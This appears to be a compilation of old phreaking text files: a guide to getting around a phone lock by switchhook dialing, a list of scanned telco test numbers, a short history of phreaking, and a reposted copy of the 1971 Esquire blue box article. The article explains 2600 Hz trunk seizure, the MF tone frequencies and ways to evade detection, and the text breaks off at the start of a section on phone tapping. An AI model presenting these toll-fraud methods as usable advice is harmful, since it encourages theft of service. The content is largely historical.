call but some asshole put a lock on the phone to prevent out-going calls? Fret 
no more phellow phreake, for every system can be beaten with a little knowledge! 


There are two ways to beat this obstacle, first pick the lock, I don’t have 
the time to teach locksmithing so we go to the second method which takes 
advantage of telephone electronics. 


To be as simple as possibnle when you pick up the phone you complete a 
circuit known as a local loop. When you hang up you break the circuit. When 
you dial (pulse) it also breaks the circuit but not long enough to hang up! So 
you can "Push-dial." To do this you >>> RAPIDLY <<< depress the switchhook. 
For example, to dial an operator (and then give her the number you want to call) 
>>> RAPIDLY <<< & >>> EVENLY <<< depress the switchhook 10 times. To dial 
634-1268, depress 6 X'S pause, then 3 X'S, pause, then 4X'S, etc. It takes a 
little practice but you'll get the hang of it. Try practicing with your own # 


so you'll get a busy tone when right. It'll also work on touch-tone(tm) since 
a DTMF line will also accept pulse. Also, never depress the switchhook for 
more than a second or it'll hang up! 


Finally, remember that you have just as much right to that phone as the 
asshole who put the lock on it! 


(From the Official Phreaker's Guide) 


Exchange Scanning courtesy of the Jolly Roger 


Almost every exchange in the bell system has test #'s and other "goodies" 
such as loops with dial-ups. These "goodies" are usually found betweed 9900 
and 9999 in your local exchange. If you have the time and initiative, scan 
your exchange and you may become lucky! 


Here are some findings in the 914-268 exchange: 


9900 - ANI 

9901 - ANI 

9927 - OSC, TONE (POSSIBLE TONE SIDE OF A LOOP) 

9936 - VOICE # TO THE TELCO CENTRAL OFFICE 

9937 - VOICE # TO THE TELCO CENTRAL OFFICE 

9941 - COMPUTER (DIGITAL VOICE TRANSMISSION?) 

9960 - OSC. TONE (TONE SIDE LOOP) MAY ALSO BE A COMPUTER IN SOME 
EXCHANGES 

9961 - NO RESPONSE (OTHER END OF LOOP?) 

9962 - NO RESPONSE (OTHER END OF LOOP?) 

9963 - NO RESPONSE (OTHER END OF LOOP?) 

9966 - COMPUTER (SEE 9941) 

9968 - TONE THAT DISAPPEARS--RESPONDS TO CERTAIN TOUCH-TONE KEYS 


Most of the numbers between 9900 & 9999 will ring or go to a “what #, 
please?” operator. 


(from the Official Phreaker's Manual) 


A Short History of Phreaking courtesy of the Jolly Roger 


Well now we know a little vocabulary, and now its into history, Phreak 
history. Back at MIT in 1964 arrived a student by the name of Stewart Nelson, 
who was extremely interested in the telephone. Before entering MIT, he had 
built autodialers, cheese boxes, and many more gadgets. But when he came to 
MIT he became even more interested in “fone-hacking” as they called it. After 
a little while he naturally started using the PDP-1, the schools computer at 
that time, and from there he decided that it would be interesting to see 
whether the computer could generate the frequencies required for blue boxing. 
The hackers at MIT were not interested in ripping off Ma Bell, but just 
exploring the telephone network. Stew (as he was called) wrote a program to 
generate all the tones and set off into the vast network. 

Now there were more people phreaking than the ones at MIT. Most people have 
heard of Captain Crunch (No not the cereal), he also discovered how to take 
rides through the fone system, with the aid of a small whistle found ina 
cereal box (can we guess which one?). By blowing this whistle, he generated 
the magical 2600hz and into the mouthpiece it sailed, giving him complete 
control over the system. I have heard rumors that at one time he made about 
1/4 of the calls coming out of San Francisco. He got famous fast. He made the 
cover of people magazine and was interviewed several times (as you'll soon 
see). Well he finally got caught after a long adventurous career. After he 
was caught he was put in jail and was beaten up quite badly because he would 
not teach other inmates how to box calls. After getting out, he joined Apple 
computer and is still out there somewhere. 

Then there was Joe the Whistler, blind form the day he was born. He could 
whistle a perfect 2600hz tone. It was rumored phreaks used to call him to tune 
their boxes. 

Well that was up to about 1970, then from 1970 to 1979, phreaking was mainly 
done by college students, businessmen and anyone who knew enough about 
electronics and the fone company to make a 555 Ic to generate those magic 
tones. Businessmen and a few college students mainly just blue box to get free 
calls. The others were still there, exploring 800#'s and the new ESS systems. 
ESS posed a big problem for phreaks then and even a bigger one now. ESS was 
not widespread, but where it was, blue boxing was next to impossible except for 
the most experienced phreak. Today ESS is installed in almost all major cities 
and blue boxing is getting harder and harder. 

1978 marked a change in phreaking, the Apple ][, now a computer that was 
affordable, could be programmed, and could save all that precious work on a 
cassette, Then just a short while later came the Apple Cat modem. With this 
modem, generating all blue box tones was easy as writing a program to count 
form one to ten (a little exaggerated). Pretty soon programs that could 
imitate an operator just as good as the real thing were hitting the community, 
TSPS and Cat's Meow, are the standard now and are the best. 

1982-1986: LD services were starting to appear in mass numbers. People now 
had programs to hack LD services, telephone exchanges, and even passwords. By 
now many phreaks were getting extremely good and BBS's started to spring up 


everywhere, each having many documentations on phreaking for the novice. Then 
it happened, the movie War Games was released and mass numbers of sixth grade 
to all ages flocked to see it. The problem wasn't that the movie was bad, it 

was that now EVERYONE wanted to be a hacker/phreak. Novices came out in such 
mass numbers, that bulletin boards started to be busy 24 hours a day, To this 

day, they still have not recovered. Other problems started to occur, novices 
guessed easy passwords on large government computers and started to play 
around... Well it wasn't long before they were caught, | think that many 

people remember the 414-hackers. They were so stupid as to say "yes" when the 
computer asked them whether they'd like to play games. Well at least it takes 

the heat off the real phreaks/hacker/krackers. 


(from the Official Phreaker's Manual) 
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***** The AAG Proudly Presents The AAG Proudly Presents ***** 


Dudes... These four files contain the story, "Secrets of the Little Blue Box”, 
by Ron Rosenbaum. 


-A story so incredible it may even make you feel sorry for the phone company- 


Printed in the October 1971 issue of Esquire Magazine. If you happen to be in 
a library and come across a collection of Esquire magazines, the October 1971 
issue is the first issue printed in the smaller format. The story begins on 
page 116 with a picture of a blue box. 

--One Farad Cap, Atlantic Anarchist Guild 


The Blue Box Is Introduced: Its Qualities Are Remarked 


I am in the expensively furnished living room of Al Gilbertson (His real name 
has been changed.), the creator of the “blue box.” Gilbertson is holding one of 
his shiny black-and-silver "blue boxes" comfortably in the palm of his hand, 
pointing out the thirteen little red push buttons sticking up from the console. 
He is dancing his fingers over the buttons, tapping out discordant beeping 
electronic jingles. He is trying to explain to me how his little blue box does 
nothing less than place the entire telephone system of the world, satellites, 
cables and all, at the service of the blue-box operator, free of charge. 


"That's what it does. Essentially it gives you the power of a super operator, 

You seize a tandem with this top button,” he presses the top button with his 
index finger and the blue box emits a high-pitched cheep, "and like that" -- 
cheep goes the blue box again -- "you control the phone company's long-distance 
switching systems from your cute little Princes phone or any old pay phone. 

And you've got anonymity. An operator has to operate from a definite location: 
the phone company knows where she is and what she's doing. But with your 
beeper box, once you hop onto a trunk, say from a Holiday Inn 800 (toll-free) 
number, they don't know where you are, or where you're coming from, they don't 
know how you slipped into their lines and popped up in that 800 number. They 
don't even know anything illegal is going on. And you can obscure your origins 
through as many levels as you like. You can call next door by way of White 
Plains, then over to Liverpool by cable, and then back here by satellite. You 

can call yourself from one pay phone all the way around the world to a pay 
phone next to you. And you get your dime back too." 


"And they can't trace the calls? They can't charge you?" 

"Not if you do it the right way. But you'll find that the free-call thing 

isn't really as exciting at first as the feeling of power you get from having 

one of these babies in your hand. I've watched people when they first get hold 
of one of these things and start using it, and discover they can make 
connections, set up crisscross and zigzag switching patterns back and forth 
across the world, They hardly talk to the people they finally reach. They say 
hello and start thinking of what kind of call to make next. They go a little 
crazy." He looks down at the neat little package in his palm. His fingers are 
still dancing, tapping out beeper patterns. 


"I think it's something to do with how small my models are. There are lots of 
blue boxes around, but mine are the smallest and most sophisticated 
electronically. I wish I could show you the prototype we made for our big 
syndicate order.” 


He sighs. "We had this order for a thousand beeper boxes from a syndicate 
front man in Las Vegas. They use them to place bets coast to coast, keep lines 


open for hours, all of which can get expensive if you have to pay. The deal 

was a thousand blue boxes for $300 apiece. Before then we retailed them for 
$1500 apiece, but $300,000 in one lump was hard to turn down. We had a 
manufacturing deal worked out in the Philippines. Everything ready to go. 
Anyway, the model I had ready for limited mass production was small enough to 
fit inside a flip-top Marlboro box. It had flush touch panels for a keyboard, 
rather than these unsightly buttons, sticking out. Looked just like a tiny 

portable radio. In fact, I had designed it with a tiny transistor receiver to 

get one AM channel, so in case the law became suspicious the owner could switch 
on the radio part, start snapping his fingers, and no one could tell anything 
illegal was going on. | thought of everything for this model -- I had it lined 

with a band of thermite which could be ignited by radio signal from a tiny 
button transmitter on your belt, so it could be burned to ashes instantly in 

case of a bust. It was beautiful. A beautiful little machine. You should 

have seen the faces on these syndicate guys when they came back after trying it 
out. They'd hold it in their palm like they never wanted to let it go, and 

they'd say, 'I can't believe it. I can't believe it.’ You probably won't 

believe it until you try it." 


The Blue Box Is Tested: Certain Connections Are Made 


About eleven o'clock two nights later Fraser Lucey has a blue box in the palm 
of his left hand and a phone in the palm of his right. He is standing inside a 
phone booth next to an isolated shut-down motel off Highway 1. I am standing 
outside the phone booth. 


Fraser likes to show off his blue box for people. Until a few weeks ago when 
Pacific Telephone made a few arrests in his city, Fraser Lucey liked to bring 
his blue box (This particular blue box, like most blue boxes, is not blue. 

Blue boxes have come to be called "blue boxes" either because 1) The first blue 
box ever confiscated by phone-company security men happened to be blue, or 2) 
To distinguish them from “black boxes." Black boxes are devices, usually a 
resistor in series, which, when attached to home phones, allow all incoming 
calls to be made without charge to one's caller.) to parties. It never failed: 

a few cheeps from his device and Fraser became the center of attention at the 
very hippest of gatherings, playing phone tricks and doing request numbers for 
hours. He began to take orders for his manufacturer in Mexico. He became a 
dealer. 


Fraser is cautious now about where he shows off his blue box. But he never 
gets tired of playing with it. "It's like the first time every time,” he tells 
me. 


Fraser puts a dime in the slot. He listens for a tone and holds the receiver 
up to my ear. I hear the tone. Fraser begins describing, with a certain 


practiced air, what he does while he does it. "I'm dialing an 800 number now. 
Any 800 number will do. It's toll free. Tonight I think I'll use the ----- (he 
names a well-know rent-a-car company) 800 number. Listen, It's ringing. Here, 
you hear it? Now watch." He places the blue box over the mouthpiece of the 
phone so that the one silver and twelve black push buttons are facing up toward 
me. He presses the silver button -- the one at the top -- and I hear that 
high-pitched beep. "That's 2600 cycles per second to be exact,” says Lucey. 
"Now, quick. listen." He shoves the earpiece at me. The ringing has vanished. 
The line gives a slight hiccough, there is a sharp buzz, and then nothing but 

soft white noise. 


"We're home free now,” Lucey tells me, taking back the phone and applying the 
blue box to its mouthpiece once again. "We're up on a tandem, into a 
long-lines trunk. Once you're up on a tandem, you can send yourself anywhere 
you want to go." He decides to check out London first, He chooses a certain 
pay phone located in Waterloo Station, This particular pay phone is popular 
with the phone-phreaks network because there are usually people walking by at 
all hours who will pick it up and talk for a while. 


He presses the lower left-hand corner button which is marked "KP" on the face 
of the box. "That's Key Pulse. It tells the tandem we're ready to give it 
instructions. First I'll punch out KP 182 START, which will slide us into the 
overseas sender in White Plains.” I hear a neat clunk-cheep. "I think we'll 
head over to England by satellite. Cable is actually faster and the connection 

is somewhat better, but I like going by satellite. So I just punch out KP Zero 
44, The Zero is supposed to guarantee a satellite connection and 44 is the 
country code for England. Okay... we're there. In Liverpool actually. Now 
all I have to do is punch out the London area code which is 1, and dial up the 
pay phone. Here, listen, I've got a ring now." 


I hear the soft quick purr-purr of a London ring. Then someone picks up the 
phone. 


"Hello," says the London voice. 
"Hello. Who's this?” Fraser asks. 


"Hello. There's actually nobody here. I just picked this up while I was 
passing by. This is a public phone. There's no one here to answer actually.” 


"Hello, Don't hang up. I'm calling from the United States." 
"Oh. What is the purpose of the call? This is a public phone you know." 


"Oh. You know. To check out, uh, to find out what's going on in London. How 


is it there?" 
"Its five o'clock in the morning. It's raining now.” 
"Oh. Who are you?” 


The London passerby turns out to be an R.A.F. enlistee on his way back to the 
base in Lincolnshire, with a terrible hangover after a thirty-six-hour pass. 

He and Fraser talk about the rain. They agree that it's nicer when it's not 
raining. They say good-bye and Fraser hangs up. His dime returns with a nice 
clink. 


"Isn't that far out," he says grinning at me. "London, like that.” 


Fraser squeezes the little blue box affectionately in his palm. "I told ya 

this thing is for real. Listen, if you don't mind I'm gonna try this girl I 

know in Paris. I usually give her a call around this time. It freaks her out. 
This time I'll use the ------ (a different rent-a-car company) 800 number and 
we'll go by overseas cable, 133; 33 is the country code for France, the | sends 
you by cable. Okay, here we go....Oh damn. Busy. Who could she be talking 
to at this time?" 


A state police car cruises slowly by the motel. The car does not stop, but 
Fraser gets nervous. We hop back into his car and drive ten miles in the 
opposite direction until we reach a Texaco station locked up for the night. We 
pull up to a phone booth by the tire pump. Fraser dashes inside and tries the 
Paris number. It is busy again. 


"I don't understand who she could be talking to. The circuits may be busy. 
It's too bad I haven't learned how to tap into lines overseas with this thing 
yet.” 


Fraser begins to phreak around, as the phone phreaks say. He dials a leading 
nationwide charge card's 800 number and punches out the tones that bring him 
the time recording in Sydney, Australia. He beeps up the weather recording in 
Rome, in Italian of course. He calls a friend in Boston and talks about a 
certain over-the-counter stock they are into heavily. He finds the Paris 
number busy again. He calls up "Dial a Disc” in London, and we listen to 
Double Barrel by David and Ansil Collins, the number-one hit of the week in 
London. He calls up a dealer of another sort and talks in code. He calls up 

oe Engressia, the original blind phone-phreak genius, and pays his respects. 
There are other calls, Finally Fraser gets through to his young lady in 

Paris. 


[hey both agree the circuits must have been busy, and criticize the Paris 


telephone system. At two-thirty in the morning Fraser hangs up, pockets his 
dime, and drives off, steering with one hand, holding what he calls his "lovely 
little blue box" in the other. 


You Can Call Long Distance For Less Than You Think 


"You see, a few years ago the phone company made one big mistake," Gilbertson 
explains two days later in his apartment. "They were careless enough to let 
some technical journal publish the actual frequencies used to create ail their 
multi-frequency tones. Just a theoretical article some Bell Telephone 
Laboratories engineer was doing about switching theory, and he listed the tones 
in passing. At ----- (a well-known technical school) I had been fooling around 
with phones for several years before I came across a copy of the journal in the 
engineering library. I ran back to the lab and it took maybe twelve hours from 
the time I saw that article to put together the first working blue box. It was 
bigger and clumsier than this little baby, but it worked." 


It's all there on public record in that technical journal written mainly by 

Bell Lab people for other telephone engineers. Or at least it was public. 

"Just try and get a copy of that issue at some engineering-school library now. 
Bell has had them all red-tagged and withdrawn from circulation," Gilbertson 
tells me. 


"But it's too late. It's all public now. And once they became public the 
technology needed to create your own beeper device is within the range of any 
twelve-year-old kid, any twelve-year-old blind kid as a matter of fact. And he 
can do it in less than the twelve hours it took us. Blind kids do it all the 

time. They can't build anything as precise and compact as my beeper box, but 
theirs can do anything mine can do." 


"How?" 


"Okay. About twenty years ago A.T.&T. made a multi-billion-dollar decision to 
operate its entire long-distance switching system on twelve electronically 
generated combinations of twelve master tones. Those are the tones you 
sometimes hear in the background after you've dialed a long-distance number. 
They decided to use some very simple tones -- the tone for each number is just 
two fixed single-frequency tones played simultaneously to create a certain beat 
frequency. Like 1300 cycles per second and 900 cycles per second played 
together give you the tone for digit 5. Now, what some of these phone phreaks 
have done is get themselves access to an electric organ. Any cheap family 
home-entertainment organ. Since the frequencies are public knowledge now -- 
one blind phone phreak has even had them recorded in one of the talking books 
for the blind -- they just have to find the musical notes on the organ which 
correspond to the phone tones. Then they tape them. For instance, to get Ma 


Bell's tone for the number 1, you press down organ keys F~5 and A~5 (900 and 
700 cycles per second) at the same time. To produce the tone for 2 it's F~S 

and C~6 (1100 and 700 c.p.s). The phone phreaks circulate the whole list of 
notes so there's no trial and error anymore." 


He shows me a list of the rest of the phone numbers and the two electric organ 
keys that produce them. 


"Actually, you have to record these notes at 3 3/4 inches-per-second tape speed 
and double it to 7 1/2 inches-per-second when you play them back, to get the 
proper tones,” he adds. 


"So once you have ail the tones recorded, how do you plug them into the phone 
system?" 


"Well, they take their organ and their cassette recorder, and start banging out 
entire phone numbers in tones on the organ, including country codes, routing 
instructions, 'KP’ and ‘Start! tones. Or, if they don't have an organ, someone 

in the phone-phreak network sends them a cassette with all the tones recorded, 
with a voice saying "Number one,’ then you have the tone, "Number two,' then 

the tone and so on. So with two cassette recorders they can put together a 

series of phone numbers by switching back and forth from number to number. Any 
idiot in the country with a cheap cassette recorder can make all the free calls 

he wants.” 


"You mean you just hold the cassette recorder up the mouthpiece and switch in a 
series of beeps you've recorded? The phone thinks that anything that makes 
these tones must be its own equipment?" 


"Right. As long as you get the frequency within thirty cycles per second of 

the phone company's tones, the phone equipment thinks it hears its own voice 
talking to it. The original granddaddy phone phreak was this blind kid with 
perfect pitch, Joe Engressia, who used to whistle into the phone. An operator 
could tell the difference between his whistle and the phone company's 

electronic tone generator, but the phone company's switching circuit can't tell 
them apart. The bigger the phone company gets and the further away from human 
operators it gets, the more vulnerable it becomes to all sorts of phone 

phreaking." 


A Guide for the Perplexed 
"But wait a minute,” I stop Gilbertson. "If everything you do sounds like 


phone-company equipment, why doesn't the phone company charge you for the call 
the way it charges its own equipment?" 


"Okay. That's where the 2600-cycle tone comes in, | better start from the 
beginning.” 


The beginning he describes for me is a vision of the phone system of the 
continent as thousands of webs, of long-line trunks radiating from each of the 
hundreds of toll switching offices to the other toll switching offices. Each 

toll switching office is a hive compacted of thousands of long-distance tandems 
constantly whistling and beeping to tandems in far-off toll switching offices. 


The tandem is the key to the whole system. Each tandem is a line with some 

relays with the capability of signalling any other tandem in any other toll 

switching office on the continent, either directly one-to-one or by programming 

a roundabout route through several other tandems if all the direct routes are 

busy. For instance, if you want to call from New York to Los Angeles and 

traffic is heavy on all direct trunks between the two cities, your tandem in 

New York is programmed to try the next best route, which may send you down to a 
tandem in New Orleans, then up to San Francisco, or down to a New Orleans 
tandem, back to an Atlanta tandem, over to an Albuquerque tandem and finally up 
to Los Angeles, 


When a tandem is not being used, when it's sitting there waiting for someone to 
make a long-distance call, it whistles. One side of the tandem, the side 
"facing" your home phone, whistles at 2600 cycles per second toward all the 
home phones serviced by the exchange, telling them it is at their service, 
should they be interested in making a long-distance call. The other side of 

the tandem is whistling 2600 c.p.s. into one or more long-distance trunk lines, 
telling the rest of the phone system that it is neither sending nor receiving a 
call through that trunk at the moment, that it has no use for that trunk at the 
moment, 


"When you dial a long-distance number the first thing that happens is that you 
are hooked into a tandem. A register comes up to the side of the tandem facing 
away from you and presents that side with the number you dialed. This sending 
side of the tandem stops whistling 2600 into its trunk line. When a tandem 
stops the 2600 tone it has been sending through a trunk, the trunk is said to 

be "seized," and is now ready to carry the number you have dialed -- converted 
into multi-frequency beep tones -- to a tandem in the area code and central 
office you want. 


Now when a blue-box operator wants to make a call from New Orleans to New York 
he starts by dialing the 800 number of a company which might happen to have its 
headquarters in Los Angeles. The sending side of the New Orleans tandem stops 
sending 2600 out over the trunk to the central office in Los Angeles, thereby 

seizing the trunk. Your New Orleans tandem begins sending beep tones to a 

tandem it has discovered idly whistling 2600 cycles in Los Angeles. The 


receiving end of that L.A. tandem is seized, stops whistling 2600, listens to 

the beep tones which tell it which L.A. phone to ring, and starts ringing the 

800 number. Meanwhile a mark made in the New Orleans office accounting tape 
notes that a call from your New Orleans phone to the 800 number in L.A. has 
been initiated and gives the call a code number. Everything is routine so far. 


But then the phone phreak presses his blue box to the mouthpiece and pushes the 
2600-cycle button, sending 2600 out from the New Orleans tandem to the L.A. 
tandem. The L.A, tandem notices 2600 cycles are coming over the line again and 
assumes that New Orleans has hung up because the trunk is whistling as if idle. 
The L.A. tandem immediately ceases ringing the L.A. 800 number. But as soon as 
the phreak takes his finger off the 2600 button, the L.A. tandem assumes the 

trunk is once again being used because the 2600 is gone, so it listens for a 

new series of digit tones - to find out where it must send the call. 


Thus the blue-box operator in New Orleans now is in touch with a tandem in L.A. 
which is waiting like an obedient genie to be told what to do next. The 

blue-box owner then beeps out the ten digits of the New York number which tell 
the L.A. tandem to relay a call to New York City. Which it promptly does. As 
soon as your party picks up the phone in New York, the side of the New Orleans 
tandem facing you stops sending 2600 cycles to you and stars carrying his voice 
to you by way of the L.A. tandem. A notation is made on the accounting tape 
that the connection has been made on the 800 call which had been initiated and 
noted earlier. When you stop talking to New York a notation is made that the 
800 call has ended. 


At three the next morning, when the phone company's accounting computer starts 
reading back over the master accounting tape for the past day, it records that 

a call of a certain length of time was made from your New Orleans home to an 
L.A. 800 number and, of course, the accounting computer has been trained to 
ignore those toll-free 800 calls when compiling your monthly bill. 


"All they can prove is that you made an 800 toll-free call,” Gilbertson the 
inventor concludes. "Of course, if you're foolish enough to talk for two hours 
on an 800 call, and they've installed one of their special anti-fraud computer 
programs to watch out for such things, they may spot you and ask why you took 
two hours talking to Army Recruiting's 800 number when you're 4-F. 


But if you do it from a pay phone, they may discover something peculiar the 
next day -- if they've got a blue-box hunting program in their computer -- but 
you'll be a long time gone from the pay phone by then. Using a pay phone is 
almost guaranteed safe." 


"What about the recent series of blue-box arrests all across the country -- New 
York, Cleveland, and so on?" I asked, "How were they caught so easily?" 


“From what I can tell, they made one big mistake: they were seizing trunks 

using an area code plus 555-1212 instead of an 800 number. Using 555 is easy to 
detect because when you send multi-frequency beep tones of 555 you get a charge 
for it on your tape and the accounting computer knows there's something wrong 
when it tries to bill you for a two-hour call to Akron, Ohio, information, and 

it drops a trouble card which goes right into the hands of the security agent 

if they're looking for blue-box user. 


"Whoever sold those guys their blue boxes didn't tell them how to use them 
properly, which is fairly irresponsible. And they were fairly stupid to use 
them at home all the time. 


"But what those arrests really mean is than an awful lot of blue boxes are 
flooding into the country and that people are finding them so easy to make that 
they know how to make them before they know how to use them. Ma Bell is in 
trouble." 


And if a blue-box operator or a cassette-recorder phone phreak sticks to pay 
phones and 800 numbers, the phone company can't stop them? 


“Not unless they change their entire nationwide long-lines technology, which 
will take them a few billion dollars and twenty years. Right now they can't do 
athing. They're screwed." 


Captain Crunch Demonstrates His Famous Unit 


There is an underground telephone network in this country. Gilbertson 
discovered it the very day news of his activities hit the papers. That evening 

his phone began ringing. Phone phreaks from Seattle, from Florida, from New 
York, from San Jose, and from Los Angeles began calling him and telling him 
about the phone-phreak network. He'd get a call from a phone phreak who'd say 
nothing but, "Hang up and call this number." 


When he dialed the number he'd find himself tied into a conference of a dozen 
phone phreaks arranged through a quirky switching station in British Columbia. 
They identified themselves as phone phreaks, they demonstrated their homemade 
blue boxes which they called "M-Fers” (for "multi-frequency," among other 
things) for him, they talked shop about phone-phreak devices. They let him in 
on their secrets on the theory that if the phone company was after him he must 
be trustworthy. And, Gilbertson recalls, they stunned him with their technical 
sophistication. 


I ask him how to get in touch with the phone-phreak network. He digs around 
through a file of old schematics and comes up with about a dozen numbers in 
three widely separated area codes. 


"Those are the centers,” he tells me. Alongside some of the numbers he writes 
in first names or nicknames: names like Captain Crunch, Dr. No, Frank Carson 
(also a code word for a free call), Marty Freeman (code word for M-F device), 

Peter Perpendicular Pimple, Alefnull, and The Cheshire Cat. He makes checks 
alongside the names of those among these top twelve who are blind. There are 
five checks, 


I ask him who this Captain Crunch person is. 


"Oh, The Captain. He's probably the most legendary phone phreak. He calls 
himself Captain Crunch after the notorious Cap'n Crunch 2600 whistle.” 
(Several years ago, Gilbertson explains, the makers of Cap'n Crunch breakfast 
cereal offered a toy-whistle prize in every box as a treat for the Cap'n Crunch 
set. Somehow a phone phreak discovered that the toy whistle just happened to 
produce a perfect 2600-cycle tone. When the man who calls himself Captain 
Crunch was transferred overseas to England with his Air Force unit, he would 
receive scores of calls from his friends and "mute" them -- make them free of 
charge to them -- by blowing his Cap'n Crunch whistle into his end.) 

"Captain Crunch is one of the older phone phreaks," Gilbertson tells me. "He's 
an engineer who once got in a little trouble for fooling around with the phone, 
but he can't stop. Well, they guy drives across country in a Volkswagen van 
with an entire switchboard and a computerized super-sophisticated M-F-er in the 
back. He'll pull up to a phone booth on a lonely highway somewhere, snake a 
cable out of his bus, hook it onto the phone and sit for hours, days sometimes, 
sending calls zipping back and forth across the country, all over the 

world...” 


Back at my motel, I dialed the number he gave me for "Captain Crunch" and asked 
for G---- T-----, his real name, or at least the name he uses when he's not 

dashing into a phone booth beeping out M-F tones faster than a speeding bullet 
and zipping phantomlike through the phone company's long-distance lines. 


When G---- T----- answered the phone and I told him I was preparing a story for 
Esquire about phone phreaks, he became very indignant. 


"I don't do that. I don't do that anymore at all. And if! do it, I do it for 

one reason and one reason only. I'm learning about a system. The phone 
company is a System. A computer is a System, do you understand? If] do what 
I do, it is only to explore a system. Computers, systems, that's my bag. The 
phone company is nothing but a computer.” 


A tone of tightly restrained excitement enters the Captain's voice when he 
starts talking about systems. He begins to pronounce each syllable with the 
hushed deliberation of an obscene caller. 


"Ma Bell is a system I want to explore. It's a beautiful system, you know, but 
Ma Bell screwed up. It's terrible because Ma Bell is such a beautiful system, 
but she screwed up. I learned how she screwed up from a couple of blind kids 
who wanted me to build a device. A certain device. They said it could make 
free calls. I wasn't interested in free calls. But when these blind kids told 

me I could make calls into a computer, my eyes lit up. ] wanted to learn about 
computers. I wanted to learn about Ma Bell's computers. So I build the little 
device, but J built it wrong and Ma Bell found out. Ma Bell can detect things 
like that. Ma Bell knows. So I'm strictly rid of it now. I don't do it. 

Except for learning purposes." He pauses. "So you want to write an article. 
Are you paying for this call? Hang up and call this number." He gives me a 
number in a area code a thousand miles away of his own. I dial the number. 


"Hello again. This is Captain Crunch. You are speaking to me on a toll-free 
loop-around in Portland, Oregon. Do you know what a toll-free loop around is? 
T'll tell you. 


He explains to me that almost every exchange in the country has open test 
numbers which allow other exchanges to test their connections with it. Most of 
these numbers occur in consecutive pairs, such as 302 956-0041 and 302 
956-0042. Well, certain phone phreaks discovered that if two people from 
anywhere in the country dial the two consecutive numbers they can talk together 
just as if one had called the other's number, with no charge to either of them, 

of course. 


"Now our voice is looping around in a 4A switching machine up there in Canada, 
zipping back down to me," the Captain tells me. "My voice is looping around up 
there and back down to you. And it can't ever cost anyone money. The phone 
phreaks and I have compiled a list of many many of these numbers. You would be 
surprised if you saw the list. I could show it to you. But I won't. I'm out 

of that now. I'm not out to screw Ma Bell. I know better. If 1 do anything 

it's for the pure knowledge of the System. You can learn to do fantastic 

things. Have you ever heard eight tandems stacked up? Do you know the sound 
of tandems stacking and unstacking? Give me your phone number. Okay. Hang up 
now and wait a minute." 


Slightly less than a minute later the phone rang and the Captain was on the 
line, his voice sounding far more excited, almost aroused. 


"I wanted to show you what it's like to stack up tandems. To stack up 
tandems." (Whenever the Captain says "stack up" it sounds as if he is licking 
his lips.) 


“How do you like the connection you're on now?" the Captain asks me, "It's a 
raw tandem. A raw tandem. Ain't nothin’ up to it but a tandem. Now I'm going 


to show you what it's like to stack up. Blow off. Land in a far away place. 
To stack that tandem up, whip back and forth across the country a few times, 
then shoot on up to Moscow. 


"Listen," Captain Crunch continues. "Listen. I've got line tie on my 
switchboard here, and I'm gonna let you hear me stack and unstack tandems. 


Listen to this. It's gonna blow your mind.” 


First I hear a super rapid-fire pulsing of the flutelike phone tones, then a 
pause, then another popping burst of tones, then another, then another. Each 
burst is followed by a beep-kachink sound. 


"We have now stacked up four tandems,” said Captain Crunch, sounding somewhat 
remote. "That's four tandems stacked up. Do you know what that means? That 
means J'm whipping back and forth, back and forth twice, across the country, 
before coming to you. I've been known to stack up twenty tandems at a time. 

Now, just like I said, I'm going to shoot up to Moscow." 


There is a new, longer series of beeper pulses over the line, a brief silence, 
then a ring. 


"Hello," answers a far-off voice. 

"Hello. Is this the American Embassy Moscow?” 

"Yes, sir. Who is this calling?" says the voice. 

"Yes, This is test board here in New York. We're calling to check out the 
circuits, see what kind of lines you've got. Everything okay there in 
Moscow?" 

"Okay?" 

"Well, yes, how are things there?" 

"Oh. Well, everything okay, I guess." 


"Okay. Thank you." 


They hang up, leaving a confused series of beep-kachink sounds hanging in 
mid-ether in the wake of the call before dissolving away. 


The Captain is pleased. "You believe me now, don't you? Do you know what I'd 
like to do? I'd just like to call up your editor at Esquire and show him just 
what it sounds like to stack and unstack tandems. I'll give him a show that 


will blow his mind, What's his number? 


lL ask the Captain what kind of device he was using to accomplish all his feats. 
The Captain is pleased at the question. 


"You could tell it was special, couldn't you?" Ten pulses per second. That's 
faster than the phone company's equipment. Believe me, this unit is the most 
famous unit in the country. There is no other unit like it. Believe me." 


"Yes, I've heard about it. Some other phone phreaks have told me about it.” 


"They have been referring to my, ahem, unit? What is it they said? Just out of 
curiosity, did they tell you it was a highly sophisticated computer-operated 
unit, with acoustical coupling for receiving outputs and a switch-board with 
multiple-line-tie capability? Did they tell you that the frequency tolerance 

is guaranteed to be not more than .05 percent? The amplitude tolerance less 
than .01 decibel? Those pulses you heard were perfect. They just come faster 
than the phone company. Those were high-precision op-amps. Op-amps are 
instrumentation amplifiers designed for ultra-stable amplification, super-low 
distortion and accurate frequency response. Did they tell you it can operate 

in temperatures from -55 degrees C to +125 degrees C?" 


I admit that they did not tell me all that. 


"Tl built it myself," the Captain goes on. "If you were to go out and buy the 
components from an industrial wholesaler it would cost you at least $1500. I 
once worked for a semiconductor company and all this didn't cost me a cent. Do 
you know what I mean? Did they tell you about how I put a call completely 
around the world? I'll tell you how I did it. I M-Fed Tokyo inward, who 
connected me to India, India connected me to Greece, Greece connected me to 
Pretoria, South Africa, South Africa connected me to South America, I went from 
South America to London, I had a London operator connect me to a New York 
operator, I had New York connect me to a California operator who rang the phone 
next to me. Needless to say I had to shout to hear myself. But the echo was 

far out. Fantastic. Delayed. It was delayed twenty seconds, but I could hear 
myself talk to myself." 


“You mean you were speaking into the mouthpiece of one phone sending your voice 
around the world into your ear through a phone on the other side of your head?" 

T asked the Captain. I had a vision of something vaguely autoerotic going on, 

in a complex electronic way. 


"That's right,” said the Captain. "I've also sent my voice around the world 
one way, going east on one phone, and going west on the other, going through 
cable one way, satellite the other, coming back together at the same time, 


ringing the two phones simultaneously and picking them up and whipping my 
voice both ways around the world back to me. Wow. That was a mind blower.” 


"You mean you sit there with both phones on your ear and talk to yourself 
around the world," | said incredulously. 


"Yeah. Um hum. That's what I do. I connect the phone together and sit there 
and talk.” 


"What do you say? What do you say to yourself when you're connected?” 
"Oh, you know. Hello test one two three,” he says in a low-pitched voice. 
"Hello test one two three," he replied to himself in a high-pitched voice. 
"Hello test one two three," he repeats again, low-pitched. 

"Hello test one two three," he replies, high-pitched. 


"I sometimes do this: Hello Hello Hello Hello, Hello, hello,” he trails off and 
breaks into laughter. 


Why Captain Crunch Hardly Ever Taps Phones Anymore 


Using internal phone-company codes, phone phreaks have learned a simple method 
for tapping phones. Phone-company operators have in front of them a board that 
